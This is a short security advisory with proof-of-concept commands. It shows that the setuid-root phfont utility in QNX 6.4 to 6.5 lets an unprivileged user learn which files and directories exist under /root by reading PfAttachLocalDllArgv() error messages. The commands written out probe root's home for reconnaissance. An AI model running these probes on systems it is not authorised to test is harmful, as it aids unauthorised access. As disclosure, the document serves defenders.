#
# QNX 6.x phfont file and directory enumeration vulnerability by cenobyte 2014
#                         <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# QNX setuid root /usr/photon/bin/phfont allows any non-root user to enumerate
# files and directories as root due to PfAttachLocalDllArgv() error messages.
#
# You can discover files and directories by observing the following error
# messages and behaviour:
#
# 1) PfAttachLocalDllArgv(): Function not implemented
#  A file exists.
# 2) PfAttachLocalDllArgv(): No such file or directory
#  A directory does not exist.
# 3) And nothing will be returned when a directory exists.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.0
#
# - not vulnerable:
# QNX 6.3.0

$ id
uid=100(user) gid=100

$ /usr/photon/bin/phfont -A -d /root/.ph
$ /usr/photon/bin/phfont -A -d /root/doesnotexist
$ PfAttachLocalDllArgv(): No such file or directory

$ /usr/photon/bin/phfont -A -d /root/.profile
$ PfAttachLocalDllArgv(): Function not implemented

# ls -l /root
total 13
drwx------  5 root      root           1024 Jan 07 16:24 .
drwxr-xr-x 16 root      root           1024 Oct 09 15:03 ..
-rw-rw-r--  1 root      root             51 Jan 24 01:15 .lastlogin
drwx------  3 root      root           1024 Sep 26 18:03 .mozilla
drwxrwxr-x  3 root      root           1024 Sep 27 15:36 .ph
-rw-r--r--  1 root      root            191 Apr 20  2001 .profile
drwx------  2 root      root           1024 Sep 26 18:11 .ssh